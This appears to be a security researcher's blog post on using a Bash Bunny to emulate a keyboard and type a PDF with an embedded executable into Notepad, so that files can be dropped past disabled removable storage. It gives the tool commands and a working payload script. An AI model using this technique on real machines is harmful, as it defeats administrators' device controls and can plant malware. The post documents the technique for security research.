More than 5 years ago, I worked out a technique to drop any file on a machine which has removable storage disabled. The technique used a Teensy to simulate a keyboard and type out a pure ASCII PDF to notepad. The PDF, containing an embedded executable, can then be saved and opened with a PDF reader to extract the embedded file.
I recently re-visited this technique with my Bash Bunny (it can also be done with a Rubber Ducky):
First I create a pure ASCII PDF file with an embedded executable using my make-pdf-embedded.py tool:
make-pdf-embedded.py -f fi80 -t -n Dialog42.exe.txt Dialog42.exe Dialog42.pdf
Option -f select the filters to use: f to deflate (zlib compress) and i80 to use hexadecimal lines of 80 characters to encode the compressed executable file in pure ASCII.
Option -t for pure text.
Option -n to choose the name used in the PDF document for the embedded file (files with extension .exe can not be extracted with Adobe Reader).
And then I create a Ducky Script script from the PDF with my python-per-line.py tool:
python-per-line.py "Duckify({})" -o payload.duck Dialog42.pdf
The payload.duck file can then be installed on my Bash Bunny, referenced from a payload.txt bash script like this:
#!/bin/bash ATTACKMODE HID QUACK SET_LANGUAGE be QUACK GUI r QUACK DELAY 500 QUACK STRING notepad.exe QUACK ENTER QUACK DELAY 1000 QUACK switch1/payload.duck
Here is a video showing my Bash Bunny dropping this PDF file:
Didier Stevens 